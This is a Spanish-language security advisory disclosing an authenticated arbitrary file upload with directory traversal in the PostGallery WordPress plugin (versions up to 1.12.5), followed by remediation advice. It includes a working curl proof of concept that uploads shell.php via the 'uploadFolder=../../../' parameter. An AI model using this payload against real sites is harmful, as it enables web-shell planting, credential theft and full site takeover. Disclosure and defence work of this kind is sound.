Reporte de CVE-2025-13543

Divulgación para CVE-2025-13543

CVE-2025-13543 - Vulnerabilidad en PostGallery

Este repositorio divulga una vulnerabilidad descubierta en PostGallery <= 1.12.5, un plugin de WordPress desarrollado por rtowebsites.

🛠 Versión afectada

• Producto: PostGallery
• Versión: <= 1.12.5
• URL: https://wordpress.org/plugins/postgallery/

🔒 CVE asignado

🧾 Descripción detallada

CVE-2025-13543 — Subida arbitraria de archivos autenticada (Suscriptor+)

• Componente afectado: Manejador de subida AJAX de PostGallery (postgalleryAjaxUpload) y backend de PostGalleryUploader
• Vector de ataque: Subida arbitraria de archivos autenticada (Suscriptor+) mediante directory traversal.
• Disparador: Cualquier usuario autenticado con privilegios bajos (como un Suscriptor) puede subir archivos PHP arbitrarios a rutas controladas por el atacante mediante directory traversal.

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

• Impacto: Cualquier usuario autenticado con privilegios bajos (como un Suscriptor) puede subir archivos PHP arbitrarios a rutas controladas por el atacante mediante directory traversal. Esto permite la ejecución remota de código en el contexto del servidor web, lo que lleva al compromiso total del sitio, incluyendo la modificación del contenido del sitio, la exfiltración de wp-config.php y credenciales de la base de datos, el despliegue de puertas traseras persistentes y la creación de cuentas de administrador maliciosas.

❓Razón de la vulnerabilidad

• En lib/ajax-actions/imageUpload.php, aplicar una autorización adecuada (por ejemplo, requerir current_user_can('upload_files')) y validar un nonce criptográfico antes de procesar las subidas.
• En admin/PostGalleryUploader.php, restringir estrictamente uploadFolder a un subdirectorio conocido de wp-content/uploads/gallery, rechazar cualquier valor que contenga ../ o rutas absolutas, y normalizar las rutas antes de usarlas.
• Usar las API de subida estándar de WordPress como wp_handle_upload() / wp_check_filetype_and_ext() y restringir las subidas a una lista blanca de tipos de medios no ejecutables, bloqueando explícitamente .php y otras extensiones ejecutables en directorios accesibles por web.

Una nota

Pensé... ¿cómo puede existir una vulnerabilidad como esta, digna de un CTF? Ya solo la subida arbitraria de archivos es grave, pero tener además un directory traversal es desolador. Fue muy divertido reproducir la vulnerabilidad.

🔍 Descubridor

Nombre: MooseLove
Rol: Investigador de seguridad independiente / bug hunter
Contacto: Disponible bajo solicitud

📚 Referencias

• Producto: https://wordpress.org/plugins/postgallery/

⚠️ Licencia

Este aviso se proporciona para concienciación pública sobre seguridad. Libre para compartir con atribución.